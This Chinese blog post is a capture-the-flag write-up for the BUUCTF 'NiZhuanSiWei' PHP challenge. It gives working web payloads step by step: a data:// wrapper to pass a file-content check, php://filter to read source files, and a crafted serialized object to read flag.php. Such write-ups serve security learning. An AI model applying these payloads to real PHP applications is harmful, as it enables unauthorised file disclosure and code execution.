BUUCTF [ZJCTF 2019]NiZhuanSiWei

本文详细描述了解析PHP代码中的三层参数传递过程,涉及数据加密、文件操作和序列化解序列化的技巧,最终找到隐藏的flag.php文件并获取flag。
摘要由CSDN通过智能技术生成

上来就看到如下PHP源码

我就直接丢你们ai解释的了,比我说得清楚

传递三个参数意味着我们需要过三层

第一层text参数需要非空且以读取文件形式读出"welcome to the zjctf"字符串,

我们可以用data://协议将字符串写入文件传给text参数

?text=data://text/plain,welcome to the zjctf

一般传输数据需要进行base64加密,加密后payload为

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

成功显示

第二层:代码中用正则匹配过滤flag,发现变量中含flag就exit停止执行

但是下面代码给我们提示了useless.php文件,文件包含执行

我们用php://filter协议读取该文件内容,payload为:

file=php://filter/read=convert.base64-encode/resource=useless.php

成功读出加密数据

base64解码后得到源码:

上面提示我们flag.php文件,估计flag就在这里面

查看代码后发现参数给变量password前需要进行反序列化,说明原本的数据是序列化后的数据

我们只需添加两行代码即可得到序列化后数据O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}(别忘了赋值给$file!)

最终payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

显示成功,在源码(ctrl+U和鼠标右键都可查看)中发现flag

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值